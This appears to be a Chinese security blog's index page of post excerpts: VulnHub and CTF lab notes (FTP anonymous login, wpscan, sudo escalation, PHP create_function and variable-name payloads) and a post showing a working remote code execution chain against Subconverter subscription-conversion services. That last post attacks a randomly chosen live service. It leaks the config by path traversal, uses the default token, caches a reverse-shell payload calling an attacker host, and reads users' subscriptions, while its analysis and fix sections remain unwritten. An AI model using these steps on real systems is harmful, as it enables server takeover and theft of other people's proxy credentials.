[VulnHub]第五章

本期靶场:Hackable3 and Aragog and Me an My girlfriend FTP服务的上传和下载功能 get是下载,put是上传。当你拥有ftp匿名服务时,就可以试试传一句话木马 wpscan 只要碰到wordpress,就扫一扫,反正也花不了多少时间。需要注意的是,一定要定义扫描插件还是主题漏洞。 linpeas.sh 这个工具可以枚举linux操作系统几乎所有的可提权项,甚至可以通过su暴力破解本地密码。一般用来辅助提权,列出有高权限的脚本或代码 pspy64 这个工具可以用于在不需要root权限的情况下窥探进程,获取UID sudo提权 喜闻乐见的sudo提权,具体可以参考前面几章 X-Forwarded-For 如果当前页面告诉你只能在本地访问,那就加上它 平行越权 在url发现id后手痒都会想去试试看的改值,说不定会有意外收获 (好水的一章。。。不过能记录的确实只有这些)

October 28, 2023 · 1 min · Red

[VulnHub]第四章

本章靶场:HarryPotter: Fawkes FTP匿名登录 如果一台机器开启了FTP服务(例如vsftpd),那么第一步要尝试的就是能否进行匿名登录 FTP的匿名登录一般有三种: 1、 用户名:anonymous 密码:Email或者为空 2、 用户名:FTP 密码:FTP或者为空 3、 用户名:USER 密码:pass 二进制文件 当碰到一个二进制文件时,第一反应应该是去尝试运行它。使用ps -aux和grep对进程pid进行监控。或者使用ss -pantu获取socket信息,看到其监听的端口和ip 缓冲区溢出 缓冲区溢出(buffer overflow),是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。 而缓存区溢出漏洞最重要的就是找出缓存区溢出的位置,这里可以使用edb-debugger调试工具来动态测试进程,并找出缓存区溢出漏洞的溢出位置。更多有关缓冲区溢出的实验可以看这里 tcpdump 看下面这个例子 tcpdump -i eth0 port 21 可以用来监听eth0网卡的21端口的数据收发状况 sudo提权漏洞 网上有一堆教程,拿到用户后记得去搜一下sudo的CVE

October 26, 2023 · 1 min · Red

[靶场笔记]第十章

return可直接执行十六进制 RT,如果放在return后面的语句是十六进制,就会先转换成可执行命令(maybe) 函数可运算 比如1-phpinfo()-1这种语法其实是允许的,返回的内容因为函数本身返回值是1,所以结果是-1。并且phpinfo()可被执行 create_function()创建匿名函数 流程如下 但是可能看起来比较不好懂,再来看下面这个 create_function()会创建一个匿名函数(lambda样式) create_function()函数会在内部执行 eval(),我们发现是执行了后面的return语句,属于create_function()中的第二个参数string $code位置。 因此create_function函数等价于 <?php function lambda1($a,$b){ return "ln($a) + ln($b) = " . log($a * $b); } ?> 下面来看一个例子([NISACTF 2022]level-up) <?php error_reporting(0); include "str.php"; $a = $_GET['a']; $b = $_GET['b']; if(preg_match('/^[a-z0-9_]*$/isD',$a)){ show_source(__FILE__); } else{ $a('',$b); } 构造payload的时候,注意正则匹配 preg_match('/^[a-z0-9_]*$/isD',$a,说明我们在构造payload的时候第一个字母不能为数字或者字母,所以我们需要绕过正则,这里要用\(转义符绕过,构造payload: ?a=\create_function&b=return 'Leaf';}phpinfo();/* 解释一下上面的payload: \的作用是绕过正则匹配preg_match,第一个;是让return 语句结束(其实也可以不用谢这句return,直接写后面的花括号),}的作用是让create_function语句闭合,然后执行phpinfo();后面要加/*是为了让最后的}被注释掉来保证phpinfo()正常执行 中文变量名 对于下面这样的过滤如果束手无策 if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)) 就可以考虑用中文名来命名变量。(可能你会觉得这很不可思议,但在php里确实是允许的) payload如下 $哈="{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f* 其中,"{{{"^"?<>/";的结果是_GET tee 这个命令类似echo ... >,可以把...的内容写入到对应文本中。一般是配合管道使用,例如ls / |tee 1,作用就是把ls列出来的内容存入到1这个文件里。如果在进行网站敏感信息读取,访问1就能下载这个文件 php的类函数调用 php的类使用其实类似C++,比如ctf类中有个getflag函数,配合 call_user_func()或者eval()可以直接用 shell盲注 和SQL盲注类似,[awk](https://www.runoob.com/linux/linux-comm-awk.html)命令可以截取字符串,[cut](https://www.runoob.com/linux/linux-comm-cut.html)命令可以截取单个字符输出。结合shell编程里的if和sleep等命令就能判断正误。例如下面这样 ...

October 25, 2023 · 1 min · Red

[VulnHub]第三章

本章靶场:Prime: 1 FUZZ 用来用去感觉还是wfuzz好用,参数简洁明了。这个靶机下用到参数有下面这些 wpscan wpscan的-e参数,可以用来枚举用户名 wordpress修改主题文件 一个意料之外又情理之中的功能,可以用来写一句话木马 防御办法:wp禁止主题编辑操作,通过在wp-config.php中,把define(‘DISALLOW_FILE_EDIT’,true) MSF提权漏洞搜索 在拿到普通用户后,在msf中尝试searchsploit指令,后面加上系统的版本信息,就能找到提权漏洞的exp,编译后上传,再运行即可

October 24, 2023 · 1 min · Red

[漏洞分析or分享]Subconverter订阅转换服务漏洞

漏洞在此之前已经被发现,更多有关漏洞细节可以自行分析该项目 相信能点进来的各位都是使用过订阅转换服务的。通过这类在线工具可以轻松地将v2ray的节点分享链接格式转换为clash使用的订阅链接,或者将clash的订阅格式转换为v2ray使用的节点分享链接,也有人用来转换机场提供的默认clash配置,日常使用的频率非常高。 但订阅转换节点存在的安全风险不仅是有可能被第三方转换服务在后台偷走你的节点信息,就算你使用的转换服务是由节点提供商提供的(节点提供商总不可能偷自己的节点),也存在被人盗取的风险,甚至连提供商自己都不知道。 漏洞描述 目前市面上主流的订阅转换服务,例如肥羊、品云、边缘等,使用的都是基于Subconverter项目搭建的。而目前Github上的Subconverter开源项目中最新的release仍然存在RCE漏洞。也就是说,不管转换服务用的是哪个版本,都有可能被黑客入侵,从而盗走所有人的节点信息。 漏洞复现 随便在网上找个订阅转换服务 一只看着很欠揍的狐狸,就你了 随便输入个符合格式的内容,跳转出后端订阅地址 复制,并加上/version 成功展示subconverter版本。不过subconverter目前最新版只有0.7.2,所以这个服务的老板应该是自己编译改的。不管他,继续。 在下面这些接口命令中尝试访问出配置文件内容(分别使用不同的接口) # qx-script接口(0.7.2-be878e1后被删除) /qx-script?url=cHJlZi50b21s /qx-script?url=cHJlZi55bWw /qx-script?url=cHJlZi5pbmk # convert接口 /convert?url=pref.toml /convert?url=pref.ini /convert?url=pref.yml 这是由于路径穿越过滤不严谨导致配置文件内容泄露 可以看到暴露的token值为默认值password 来到配置文件最下面,看到缓存开启 好的,准备开始植入恶意指令。首先准备好木马 function parse(x){ os.exec(["sh","-c","bash -i >& /dev/tcp/{your_ip}/1880 0>&1"]) } 把{your_ip}换成你的vps ip,保存成一个txt后在这个目录下开个简单的http服务就行 再开个窗口把监听打开,准备接收反弹shell 在刚才的网址后面加上这一段,让订阅服务主动将准备好的木马读到缓存里 # 指令写入缓存目录 /sub?target=clash&url=http://{your_ip}/payload 接着把url参数后面的内容用md5加密,再放到下面这段链接里,用来触发我们的木马 /sub?target=clash&url=script:cache/{your_md5},1&token={token} 记得把{your_md5}和{token}改掉。token就是上面刚刚提到的那个 回车访问,在刚刚等待shell的窗口里就能拿到shell啦 运气不错,是个root。不过还有更刺激的,我们使用ls /etc/systemd/system查看一下他开启的服务 可以看到有个特征比较明显的sub,还有一个xui面板 之后就能用journal -fw sub看到所有在他的sub服务中转换过的订阅信息了。一览无余 漏洞分析 正在写…. 漏洞修复 正在写….

October 7, 2023 · 1 min · Red